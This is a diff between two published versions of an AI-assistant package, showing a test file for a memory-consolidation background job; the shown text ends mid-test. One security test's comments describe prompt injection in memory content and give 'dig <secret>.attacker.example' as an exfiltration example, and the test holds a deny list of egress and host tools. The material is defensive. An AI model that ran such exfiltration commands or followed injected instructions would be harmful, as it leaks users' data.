@vellumai/assistant 0.12.2-staging.7 → 0.12.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (120) hide show
  1. package/docs/architecture/memory.md +2 -11
  2. package/docs/desktop-browser-cli.md +2 -4
  3. package/node_modules/@vellumai/environments/src/shell.test.ts +0 -21
  4. package/node_modules/@vellumai/environments/src/shell.ts +0 -24
  5. package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +2 -8
  6. package/openapi.yaml +2 -6
  7. package/package.json +1 -1
  8. package/scripts/smoke-desktop-browser-cli.ts +0 -1
  9. package/src/__tests__/agent-loop.test.ts +0 -124
  10. package/src/__tests__/approval-interception-trust-gates.test.ts +0 -40
  11. package/src/__tests__/channel-approval.test.ts +14 -9
  12. package/src/__tests__/conversation-agent-loop.test.ts +0 -25
  13. package/src/__tests__/plugin-import-boundary-guard.test.ts +1 -0
  14. package/src/__tests__/run-conversation-turn-persistence.test.ts +1 -138
  15. package/src/__tests__/script-proxy-certs.test.ts +1 -1
  16. package/src/__tests__/subagent-tool-gate-mode.test.ts +0 -169
  17. package/src/__tests__/terminal-tools.test.ts +0 -8
  18. package/src/__tests__/unicode.test.ts +0 -36
  19. package/src/agent/loop.ts +0 -19
  20. package/src/api/index.ts +0 -6
  21. package/src/approvals/approval-primitive.ts +2 -5
  22. package/src/approvals/scoped-approval-grants.ts +2 -6
  23. package/src/daemon/__tests__/conversation-tool-setup.test.ts +0 -43
  24. package/src/daemon/conversation-agent-loop.ts +0 -2
  25. package/src/daemon/conversation-tool-setup.ts +1 -57
  26. package/src/daemon/conversation.ts +0 -17
  27. package/src/daemon/daemon-control.ts +6 -2
  28. package/src/daemon/orphan-reaper.ts +3 -4
  29. package/src/daemon/tool-setup-types.ts +0 -6
  30. package/src/daemon/wake-conversation-ops.ts +15 -38
  31. package/src/desktop/desktop-automation-lease.test.ts +0 -143
  32. package/src/desktop/desktop-automation-lease.ts +3 -39
  33. package/src/messaging/provider-message-metadata.ts +3 -3
  34. package/src/notifications/__tests__/copy-composer.test.ts +0 -70
  35. package/src/notifications/copy-composer.ts +3 -11
  36. package/src/oauth/seed-providers.ts +30 -0
  37. package/src/persistence/conversation-plugin-facade.ts +0 -13
  38. package/src/persistence/schema/index.ts +0 -1
  39. package/src/persistence/steps.ts +0 -2
  40. package/src/plugin-api/conversation-turn.ts +7 -31
  41. package/src/plugin-api/index.ts +1 -9
  42. package/src/plugins/defaults/memory/AGENTS.md +2 -14
  43. package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +0 -43
  44. package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +0 -46
  45. package/src/plugins/defaults/memory/buffer-format.ts +0 -40
  46. package/src/plugins/defaults/memory/context-search/agent-runner.ts +2 -1
  47. package/src/plugins/defaults/memory/context-search/format.ts +1 -2
  48. package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +1 -2
  49. package/src/plugins/defaults/memory/context-search/sources/workspace.ts +1 -2
  50. package/src/plugins/defaults/memory/graph/capability-seed.ts +2 -1
  51. package/src/plugins/defaults/memory/graph/tool-handlers.ts +42 -1
  52. package/src/plugins/defaults/memory/host-utils.ts +10 -0
  53. package/src/plugins/defaults/memory/injectors.ts +3 -4
  54. package/src/plugins/defaults/memory/memory-retrospective-job.ts +181 -55
  55. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +99 -407
  56. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +0 -10
  57. package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +7 -107
  58. package/src/plugins/defaults/memory/substrate/consolidation-job.ts +86 -307
  59. package/src/plugins/defaults/memory/substrate/page-index.ts +1 -2
  60. package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +49 -89
  61. package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
  62. package/src/plugins/defaults/memory/tools.ts +1 -1
  63. package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
  64. package/src/plugins/defaults/memory/v1/graph/extraction.ts +1 -2
  65. package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
  66. package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +0 -5
  67. package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +2 -5
  68. package/src/plugins/defaults/memory/v2/reranker.ts +1 -2
  69. package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +1 -81
  70. package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +0 -87
  71. package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +0 -21
  72. package/src/plugins/defaults/memory/v3/card.ts +1 -2
  73. package/src/plugins/defaults/memory/v3/injector.ts +178 -212
  74. package/src/plugins/defaults/memory/v3/orchestrate.ts +22 -86
  75. package/src/plugins/defaults/memory/v3/pool-select.ts +7 -10
  76. package/src/plugins/defaults/memory/v3/sections.ts +1 -2
  77. package/src/plugins/defaults/memory/v3/shadow-plugin.ts +1 -10
  78. package/src/plugins/defaults/tool-result-truncate/terminal.ts +46 -1
  79. package/src/runtime/AGENTS.md +1 -1
  80. package/src/runtime/__tests__/agent-wake.test.ts +1 -86
  81. package/src/runtime/agent-wake.ts +4 -20
  82. package/src/runtime/guardian-action-service.ts +17 -2
  83. package/src/runtime/guardian-reply-router.ts +8 -1
  84. package/src/runtime/routes/channel-route-shared.ts +9 -1
  85. package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
  86. package/src/runtime/routes/desktop-setup-routes.ts +3 -7
  87. package/src/runtime/routes/guardian-approval-interception.ts +0 -24
  88. package/src/runtime/routes/inbound-message-handler.ts +3 -2
  89. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
  90. package/src/runtime/routes/inbound-stages/background-dispatch.ts +4 -7
  91. package/src/schedule/run-script.ts +2 -2
  92. package/src/tools/host-terminal/host-shell.ts +6 -12
  93. package/src/tools/shared/filesystem/file-ops-service.ts +31 -1
  94. package/src/tools/shared/shell-output.test.ts +0 -10
  95. package/src/tools/shared/shell-output.ts +2 -14
  96. package/src/tools/skills/sandbox-runner.ts +2 -13
  97. package/src/tools/skills/scaffold-managed.ts +1 -2
  98. package/src/tools/terminal/__tests__/safe-env.test.ts +0 -29
  99. package/src/tools/terminal/safe-env.ts +1 -30
  100. package/src/tools/terminal/sanitized-bash.ts +2 -15
  101. package/src/tools/terminal/shell.test.ts +0 -29
  102. package/src/tools/terminal/shell.ts +7 -13
  103. package/src/util/host-process.test.ts +1 -17
  104. package/src/util/host-process.ts +0 -24
  105. package/src/util/unicode.ts +0 -29
  106. package/src/__tests__/db-conversation-tool-surface.test.ts +0 -144
  107. package/src/api/events/desktop-activity-changed.ts +0 -10
  108. package/src/persistence/conversation-tool-surface.ts +0 -86
  109. package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +0 -78
  110. package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +0 -29
  111. package/src/persistence/schema/conversation-tool-surfaces.ts +0 -22
  112. package/src/plugin-api/plugin-channel-turn-trust.test.ts +0 -133
  113. package/src/plugin-api/plugin-channel-turn-trust.ts +0 -71
  114. package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +0 -320
  115. package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +0 -17
  116. package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +0 -161
  117. package/src/plugins/defaults/memory/buffer-file.ts +0 -354
  118. package/src/plugins/defaults/memory/memory-run-evidence.ts +0 -213
  119. package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +0 -34
  120. package/src/tools/terminal/shell-launch.test.ts +0 -162
@@ -11,12 +11,8 @@
11
11
  * - Runner returns ok=false → run_failed surfaced; NO follow-up jobs;
12
12
  * `emitNotificationSignal` was NOT called as a result of the failure
13
13
  * (suppression is honored end-to-end).
14
- * - Runtime-owned consumption: the job hands the run its pass's entries
15
- * in the prompt and removes exactly those after a run that left a
16
- * verified page write; entries appended during the run and entries
17
- * deferred past the cap survive. A run with no verified write returns
18
- * `invoked` with `noProgress: true`, leaves the buffer intact, and
19
- * enqueues no follow-ups.
14
+ * - Progress check: a run that leaves the buffer un-shrunk returns
15
+ * `invoked` with `noProgress: true` and enqueues no follow-ups.
20
16
  * - Follow-up coalescing: a pending job of a follow-up type suppresses
21
17
  * that enqueue (the pending row already covers it).
22
18
  * - Consecutive-failure state: failed runs increment the durable
@@ -29,12 +25,9 @@
29
25
  * content uses generic placeholders (Alice).
30
26
  */
31
27
  import {
32
- appendFileSync,
33
- chmodSync,
34
28
  existsSync,
35
29
  mkdirSync,
36
30
  mkdtempSync,
37
- readFileSync,
38
31
  rmSync,
39
32
  writeFileSync,
40
33
  } from "node:fs";
@@ -50,8 +43,6 @@ import {
50
43
  test,
51
44
  } from "bun:test";
52
45
 
53
- import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
54
-
55
46
  // ── runBackgroundJob mock ───────────────────────────────────────────
56
47
  //
57
48
  // The consolidation handler delegates the bootstrap + processMessage +
@@ -61,13 +52,18 @@ import { CONSOLIDATION_ALLOWED_TOOLS } from "../consolidation-tool-surface.js";
61
52
  // + trustContext + origin match what the consolidation surface expects.
62
53
  let runnerCalls = 0;
63
54
  let runnerLastArgs: Record<string, unknown> | null = null;
64
- // Default stub: a successful run. The agent never touches buffer.md; the
65
- // handler consumes the pass's entries itself once the run's messages carry
66
- // a verified page write (see the plugin-api mock below).
67
- const runnerSucceeds = async (): Promise<{
55
+ // Default stub: a successful run in which the agent drained the buffer the
56
+ // handler's progress check compares buffer line counts before and after the
57
+ // run, so a stub that never touched buffer.md would register every success as
58
+ // no-progress. No-progress tests override this with an impl that leaves the
59
+ // buffer as-is (or grows it).
60
+ const runnerTrimsBuffer = async (): Promise<{
68
61
  conversationId: string;
69
62
  ok: boolean;
70
- }> => ({ conversationId: "conv-1", ok: true });
63
+ }> => {
64
+ writeFileSync(bufferPath(), "");
65
+ return { conversationId: "conv-1", ok: true };
66
+ };
71
67
  let runnerImpl: () => Promise<{
72
68
  conversationId: string;
73
69
  ok: boolean;
@@ -75,41 +71,7 @@ let runnerImpl: () => Promise<{
75
71
  errorKind?: string;
76
72
  failureCode?: string;
77
73
  skipReason?: string;
78
- }> = runnerSucceeds;
79
-
80
- // ── plugin-api mock: the run's persisted messages ──────────────────
81
- //
82
- // The consume gate reads the run conversation's messages for a page-writing
83
- // tool call whose result is not an error and for a closing reply as the
84
- // final row. `runMessages` is what that read returns; the default is one
85
- // successful `file_write` followed by the pass summary.
86
- type RunMessage = { role: string; content: unknown[] };
87
- const FILED_ONE_PAGE: RunMessage[] = [
88
- {
89
- role: "assistant",
90
- content: [
91
- { type: "tool_use", id: "t1", name: "file_write", input: { path: "x" } },
92
- ],
93
- },
94
- {
95
- role: "user",
96
- content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
97
- },
98
- {
99
- role: "assistant",
100
- content: [{ type: "text", text: "Filed both entries into alice.md." }],
101
- },
102
- ];
103
- let runMessages: RunMessage[] = FILED_ONE_PAGE;
104
- let messagesRequestedFor: string[] = [];
105
- const realPluginApi = await import("@vellumai/plugin-api");
106
- mock.module("@vellumai/plugin-api", () => ({
107
- ...realPluginApi,
108
- getMessages: async (conversationId: string) => {
109
- messagesRequestedFor.push(conversationId);
110
- return runMessages;
111
- },
112
- }));
74
+ }> = runnerTrimsBuffer;
113
75
 
114
76
  mock.module("../../../../../runtime/background-job-runner.js", () => ({
115
77
  runBackgroundJob: async (opts: Record<string, unknown>) => {
@@ -235,8 +197,7 @@ const { memoryV2ConsolidateJob, CONSOLIDATION_FAILURE_CHECKPOINT_KEY } =
235
197
  const { CUTOFF_PLACEHOLDER, CONSOLIDATION_PROMPT } =
236
198
  await import("../prompts/consolidation.js");
237
199
  const { invalidatePageIndex } = await import("../page-index.js");
238
- const { formatBufferTimestamp, formatRememberEntry } =
239
- await import("../../buffer-format.js");
200
+ const { formatRememberEntry } = await import("../../buffer-format.js");
240
201
 
241
202
  // The handler only reads `config.memory.enabled`, `config.memory.v2.enabled`,
242
203
  // `config.memory.v2.consolidation_prompt_path`, and
@@ -309,9 +270,7 @@ beforeEach(() => {
309
270
 
310
271
  runnerCalls = 0;
311
272
  runnerLastArgs = null;
312
- runnerImpl = runnerSucceeds;
313
- runMessages = FILED_ONE_PAGE;
314
- messagesRequestedFor = [];
273
+ runnerImpl = runnerTrimsBuffer;
315
274
  emitCalls.length = 0;
316
275
  enqueuedJobs.length = 0;
317
276
  nextJobIdCounter = 0;
@@ -350,21 +309,6 @@ describe("memoryV2ConsolidateJob — chunked cutoff (consolidation_max_entries_p
350
309
  expect(outcome.deferredEntries).toBe(2);
351
310
  expect(runnerCalls).toBe(1);
352
311
  expect(runnerLastArgs!.prompt as string).toContain("Apr 27, 9:03 AM");
353
- // The pass is the first three entries, verbatim, and the job removed
354
- // exactly them; the two deferred entries are still in the buffer.
355
- const prompt = runnerLastArgs!.prompt as string;
356
- expect(prompt).toContain(
357
- "<buffer_entries>\n" +
358
- "- [Apr 27, 9:00 AM] Alice prefers VS Code.\n" +
359
- "- [Apr 27, 9:01 AM] Bob takes his coffee black.\n" +
360
- "- [Apr 27, 9:02 AM] Carol loves jazz.\n" +
361
- "</buffer_entries>",
362
- );
363
- expect(outcome.consumedEntries).toBe(3);
364
- expect(readFileSync(bufferPath(), "utf-8")).toBe(
365
- "- [Apr 27, 9:03 AM] Dave runs marathons.\n" +
366
- "- [Apr 27, 9:04 AM] Erin paints watercolors.\n",
367
- );
368
312
  });
369
313
 
370
314
  test("buffer at or under the cap → full-buffer cutoff, nothing deferred", async () => {
@@ -650,13 +594,6 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
650
594
  // Cutoff is a buffer-entry-format timestamp (`Mon D, h:mm AM/PM`) so it
651
595
  // compares like-with-like against `buffer.md` lines at minute precision.
652
596
  expect(prompt).toMatch(/\b[A-Z][a-z]{2} \d{1,2}, \d{1,2}:\d{2} (AM|PM)\b/);
653
- // The pass's entries ride in the prompt itself, verbatim.
654
- expect(prompt).toContain(
655
- "<buffer_entries>\n" +
656
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
657
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
658
- "</buffer_entries>",
659
- );
660
597
  });
661
598
 
662
599
  test("threads page-index parse failures into the prompt's repair step", async () => {
@@ -714,16 +651,57 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
714
651
  expect(runnerLastArgs?.skipPromptIndexing).toBe(true);
715
652
  });
716
653
 
717
- test("wire-scopes the run to the consolidation tool surface", async () => {
718
- // The handler hands the runner the shared allowlist in the default gate
719
- // mode ("wire"), so excluded tools are filtered off the wire rather than
720
- // merely rejected at execution time. Which names on that list actually
721
- // resolve onto the wire is asserted where the wire gate lives:
722
- // daemon/__tests__/conversation-tool-setup.test.ts.
654
+ test("wire-scopes the run to local memory-file tools — no network egress or host tools", async () => {
655
+ // Security: the consolidation run is guardian-trust + non-interactive, so
656
+ // the permission checker auto-approves any tool within the background
657
+ // threshold (a public web_fetch classifies Low). The run must therefore be
658
+ // handed an explicit allowlist that excludes every egress/host tool, so
659
+ // prompt injection embedded in buffer/page content cannot exfiltrate
660
+ // memory over an auto-approved channel. Wire gate mode (the default) means
661
+ // the excluded tools are never even presented to the model.
723
662
  await memoryV2ConsolidateJob(makeJob(), CONFIG);
724
663
 
725
664
  expect(runnerCalls).toBe(1);
726
- expect(runnerLastArgs?.allowedTools).toEqual(CONSOLIDATION_ALLOWED_TOOLS);
665
+ const allowed = runnerLastArgs?.allowedTools as string[] | undefined;
666
+ expect(allowed).toBeDefined();
667
+ const allowedSet = new Set(allowed);
668
+
669
+ // The local file-reorganization surface the pass actually uses. Page
670
+ // removal goes through `delete_memory_page` (slug-scoped, no egress), NOT
671
+ // a general shell.
672
+ for (const tool of [
673
+ "file_read",
674
+ "file_write",
675
+ "file_edit",
676
+ "file_list",
677
+ "code_search",
678
+ "delete_memory_page",
679
+ "recall",
680
+ ]) {
681
+ expect(allowedSet.has(tool)).toBe(true);
682
+ }
683
+
684
+ // `bash` must NOT be reachable: a shell reopens the egress channel this
685
+ // allowlist closes (`dig <secret>.attacker.example` classifies Low and
686
+ // auto-approves in this background context). Network egress + host-proxy
687
+ // tools stay out for the same reason.
688
+ for (const tool of [
689
+ "bash",
690
+ "web_fetch",
691
+ "web_search",
692
+ "network_request",
693
+ "host_bash",
694
+ "host_file_read",
695
+ "host_file_write",
696
+ "host_file_edit",
697
+ "host_cu",
698
+ ]) {
699
+ expect(allowedSet.has(tool)).toBe(false);
700
+ }
701
+ // Belt-and-suspenders: nothing host-prefixed slipped in.
702
+ expect((allowed ?? []).some((t) => t.startsWith("host_"))).toBe(false);
703
+ // Gate mode is left at the default ("wire") so excluded tools are filtered
704
+ // off the wire, not merely rejected at execution time.
727
705
  expect(runnerLastArgs?.toolGateMode).toBeUndefined();
728
706
  });
729
707
 
@@ -796,7 +774,7 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
796
774
  await memoryV2ConsolidateJob(makeJob(), CONFIG);
797
775
  expect(runnerLastArgs?.prompt as string).not.toContain("core-pages");
798
776
 
799
- // The first run consumed the buffer. Refill it so the second
777
+ // The first run's stub drained the buffer refill it so the second
800
778
  // invocation doesn't bail at the empty-buffer gate.
801
779
  writeFileSync(bufferPath(), "- [Apr 27, 9:10 AM] Alice refactored.\n");
802
780
  v3FlagOn = true;
@@ -849,16 +827,16 @@ describe("memoryV2ConsolidateJob — non-empty buffer", () => {
849
827
  });
850
828
  });
851
829
 
852
- describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
853
- const TWO_ENTRIES =
854
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
855
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n";
856
-
830
+ describe("memoryV2ConsolidateJob — progress check and follow-up coalescing", () => {
857
831
  beforeEach(() => {
858
- writeFileSync(bufferPath(), TWO_ENTRIES);
832
+ writeFileSync(
833
+ bufferPath(),
834
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
835
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
836
+ );
859
837
  });
860
838
 
861
- test("a run with a verified page write consumes exactly the pass and enqueues follow-ups", async () => {
839
+ test("a drained buffer reports progress and enqueues follow-ups", async () => {
862
840
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
863
841
 
864
842
  expect(result.kind).toBe("invoked");
@@ -866,22 +844,16 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
866
844
  throw new Error("unreachable");
867
845
  }
868
846
  expect(result.noProgress).toBe(false);
869
- expect(result.consumedEntries).toBe(2);
870
- expect(readFileSync(bufferPath(), "utf-8")).toBe("");
871
- expect(messagesRequestedFor).toEqual(["conv-1"]);
872
847
  expect(result.followUpJobIds).toEqual(["job-1"]);
873
848
  expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
874
849
  });
875
850
 
876
- test("an entry appended while the run is in flight is still in the buffer afterwards", async () => {
877
- // The specimen: remember() lands mid-run, after the snapshot. The run
878
- // never saw it, so it must not be consumed with the pass.
879
- const midRun = formatRememberEntry(
880
- "Bob joined the standup.",
881
- new Date(2026, 3, 27, 9, 6),
882
- );
851
+ test("a partially trimmed buffer counts as progress", async () => {
883
852
  runnerImpl = async () => {
884
- appendFileSync(bufferPath(), midRun);
853
+ writeFileSync(
854
+ bufferPath(),
855
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
856
+ );
885
857
  return { conversationId: "conv-1", ok: true };
886
858
  };
887
859
 
@@ -892,40 +864,14 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
892
864
  throw new Error("unreachable");
893
865
  }
894
866
  expect(result.noProgress).toBe(false);
895
- expect(result.consumedEntries).toBe(2);
896
- expect(readFileSync(bufferPath(), "utf-8")).toBe(midRun);
897
- expect(runnerLastArgs?.prompt as string).not.toContain(
898
- "Bob joined the standup.",
899
- );
867
+ expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
900
868
  });
901
869
 
902
- test("a run with no verified page write consumes nothing and reports noProgress", async () => {
903
- // The run completed but its messages carry no successful page write:
904
- // a prose-only reply, or writes that all errored. Consuming would
905
- // delete the entries unfiled.
906
- runMessages = [
907
- {
908
- role: "assistant",
909
- content: [
910
- { type: "tool_use", id: "t1", name: "file_write", input: {} },
911
- ],
912
- },
913
- {
914
- role: "user",
915
- content: [
916
- {
917
- type: "tool_result",
918
- tool_use_id: "t1",
919
- is_error: true,
920
- content: "EACCES",
921
- },
922
- ],
923
- },
924
- {
925
- role: "assistant",
926
- content: [{ type: "text", text: "Nothing to file." }],
927
- },
928
- ];
870
+ test("an unchanged buffer reports noProgress and skips all follow-ups", async () => {
871
+ // The runner completes ok but never touches buffer.md the stuck-agent
872
+ // shape: without the progress check the size trigger would re-fire and
873
+ // every re-fire would fan out another reembed.
874
+ runnerImpl = async () => ({ conversationId: "conv-1", ok: true });
929
875
 
930
876
  const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
931
877
 
@@ -934,148 +880,18 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
934
880
  throw new Error("unreachable");
935
881
  }
936
882
  expect(result.noProgress).toBe(true);
937
- expect(result.consumedEntries).toBe(0);
938
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
939
883
  expect(result.followUpJobIds).toEqual([]);
940
884
  expect(enqueuedJobs).toHaveLength(0);
941
885
  });
942
886
 
943
- test("a run that wrote a page but stopped mid-work consumes nothing", async () => {
944
- // A repair-step page fix satisfies the write half of the gate; the run
945
- // then ends on a tool call with no closing reply. It never filed its
946
- // pass, so the pass stays.
947
- runMessages = [
948
- {
949
- role: "assistant",
950
- content: [
951
- { type: "tool_use", id: "t1", name: "file_write", input: {} },
952
- ],
953
- },
954
- {
955
- role: "user",
956
- content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
957
- },
958
- {
959
- role: "assistant",
960
- content: [{ type: "tool_use", id: "t2", name: "file_read", input: {} }],
961
- },
962
- {
963
- role: "user",
964
- content: [{ type: "tool_result", tool_use_id: "t2", content: "..." }],
965
- },
966
- ];
967
-
968
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
969
-
970
- expect(result.kind).toBe("invoked");
971
- if (result.kind !== "invoked") {
972
- throw new Error("unreachable");
973
- }
974
- expect(result.noProgress).toBe(true);
975
- expect(result.consumedEntries).toBe(0);
976
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
977
- expect(enqueuedJobs).toHaveLength(0);
978
- });
979
-
980
- test("narration on the row that called the tool does not count as concluding", async () => {
981
- // The model said "fixing that page now", called file_write, and the run
982
- // stopped after the result. Text on a tool-call row is not the closing
983
- // reply; the pass stays.
984
- runMessages = [
985
- {
986
- role: "assistant",
987
- content: [
988
- { type: "text", text: "Fixing that page now." },
989
- { type: "tool_use", id: "t1", name: "file_write", input: {} },
990
- ],
991
- },
992
- {
993
- role: "user",
994
- content: [{ type: "tool_result", tool_use_id: "t1", content: "ok" }],
995
- },
996
- ];
997
-
998
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
999
-
1000
- expect(result.kind).toBe("invoked");
1001
- if (result.kind !== "invoked") {
1002
- throw new Error("unreachable");
1003
- }
1004
- expect(result.noProgress).toBe(true);
1005
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1006
- });
1007
-
1008
- test("only page-writing tools count as evidence", async () => {
1009
- runMessages = [
1010
- {
1011
- role: "assistant",
1012
- content: [
1013
- { type: "tool_use", id: "t1", name: "file_read", input: {} },
1014
- { type: "tool_use", id: "t2", name: "recall", input: {} },
1015
- ],
1016
- },
1017
- {
1018
- role: "user",
1019
- content: [
1020
- { type: "tool_result", tool_use_id: "t1", content: "..." },
1021
- { type: "tool_result", tool_use_id: "t2", content: "..." },
1022
- ],
1023
- },
1024
- {
1025
- role: "assistant",
1026
- content: [{ type: "text", text: "Read everything, filed nothing." }],
1027
- },
1028
- ];
1029
-
1030
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1031
-
1032
- expect(result.kind).toBe("invoked");
1033
- if (result.kind !== "invoked") {
1034
- throw new Error("unreachable");
1035
- }
1036
- expect(result.noProgress).toBe(true);
1037
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1038
- });
1039
-
1040
- test("a failed run leaves the buffer intact for the next pass", async () => {
1041
- runnerImpl = async () => ({
1042
- conversationId: "conv-1",
1043
- ok: false,
1044
- error: new Error("timed out"),
1045
- errorKind: "timeout",
1046
- });
1047
-
1048
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1049
-
1050
- expect(result.kind).toBe("run_failed");
1051
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1052
- expect(messagesRequestedFor).toEqual([]);
1053
- });
1054
-
1055
- test("a skipped run consumes nothing and reads no evidence", async () => {
1056
- runnerImpl = async () => ({
1057
- conversationId: "",
1058
- ok: true,
1059
- skipReason: "pre_first_user_message",
1060
- });
1061
-
1062
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1063
-
1064
- expect(result.kind).toBe("invoked");
1065
- if (result.kind !== "invoked") {
1066
- throw new Error("unreachable");
1067
- }
1068
- expect(result.noProgress).toBe(true);
1069
- expect(readFileSync(bufferPath(), "utf-8")).toBe(TWO_ENTRIES);
1070
- expect(messagesRequestedFor).toEqual([]);
1071
- });
1072
-
1073
- test("an agent that rewrote the buffer anyway still counts as progress, minus what it dropped", async () => {
1074
- // A customized prompt that trims the buffer itself: the pass's entries
1075
- // are already gone when the job goes to consume them. That is progress
1076
- // (the run filed them); the job warns rather than failing the run.
887
+ test("a grown buffer reports noProgress and skips all follow-ups", async () => {
1077
888
  runnerImpl = async () => {
1078
- writeFileSync(bufferPath(), "");
889
+ writeFileSync(
890
+ bufferPath(),
891
+ "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
892
+ "- [Apr 27, 9:05 AM] Alice ships at end of day.\n" +
893
+ "- [Apr 27, 9:06 AM] Bob joined the standup.\n",
894
+ );
1079
895
  return { conversationId: "conv-1", ok: true };
1080
896
  };
1081
897
 
@@ -1085,135 +901,9 @@ describe("memoryV2ConsolidateJob: runtime-owned consumption", () => {
1085
901
  if (result.kind !== "invoked") {
1086
902
  throw new Error("unreachable");
1087
903
  }
1088
- expect(result.noProgress).toBe(false);
1089
- expect(result.consumedEntries).toBe(2);
1090
- expect(enqueuedJobs.map((j) => j.type)).toEqual(["memory_v2_reembed"]);
1091
- });
1092
-
1093
- test("a snapshot that caught an append mid-write leaves its last entry for the next pass", async () => {
1094
- // An append is one write ending in a newline; a snapshot without one
1095
- // may have caught an append in flight. The job re-reads after a short
1096
- // settle: the rest of the append lands in that window here, so the
1097
- // entry is incomplete and is not handed to the run.
1098
- writeFileSync(
1099
- bufferPath(),
1100
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
1101
- "- [Apr 27, 9:05 AM] Alice ships at end of",
1102
- );
1103
- setTimeout(() => appendFileSync(bufferPath(), " day.\n"), 10);
1104
-
1105
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1106
-
1107
- expect(result.kind).toBe("invoked");
1108
- if (result.kind !== "invoked") {
1109
- throw new Error("unreachable");
1110
- }
1111
- expect(result.consumedEntries).toBe(1);
1112
- expect(runnerLastArgs?.prompt as string).not.toContain("Alice ships");
1113
- expect(readFileSync(bufferPath(), "utf-8")).toBe(
1114
- "- [Apr 27, 9:05 AM] Alice ships at end of day.\n",
1115
- );
1116
- });
1117
-
1118
- test("a stable buffer without a terminating newline is filed whole", async () => {
1119
- // A buffer last rewritten without a trailing newline (an agent's
1120
- // file_write under an older prompt, a hand edit) is a persisted shape
1121
- // that must keep working: nothing is mid-write, so after the settle
1122
- // re-read its last entry is complete, filed, and consumed, and the
1123
- // rewrite leaves the buffer newline-terminated.
1124
- writeFileSync(
1125
- bufferPath(),
1126
- "- [Apr 27, 9:00 AM] Alice prefers VS Code over Vim.\n" +
1127
- "- [Apr 27, 9:05 AM] Alice ships at end of day.",
1128
- );
1129
-
1130
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1131
-
1132
- expect(result.kind).toBe("invoked");
1133
- if (result.kind !== "invoked") {
1134
- throw new Error("unreachable");
1135
- }
1136
- expect(result.consumedEntries).toBe(2);
1137
- expect(runnerLastArgs?.prompt as string).toContain(
1138
- "Alice ships at end of day.",
1139
- );
1140
- expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1141
- });
1142
-
1143
- test("a single unterminated entry is not deferred forever", async () => {
1144
- writeFileSync(bufferPath(), "- [Apr 27, 9:00 AM] Only entry, no newline");
1145
-
1146
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1147
-
1148
- expect(result.kind).toBe("invoked");
1149
- if (result.kind !== "invoked") {
1150
- throw new Error("unreachable");
1151
- }
1152
- expect(result.consumedEntries).toBe(1);
1153
- expect(readFileSync(bufferPath(), "utf-8")).toBe("");
1154
- });
1155
-
1156
- test("hand-written prose before the first entry is filed with the pass", async () => {
1157
- writeFileSync(bufferPath(), "Some notes I typed by hand.\n" + TWO_ENTRIES);
1158
-
1159
- const result = await memoryV2ConsolidateJob(makeJob(), CONFIG);
1160
-
1161
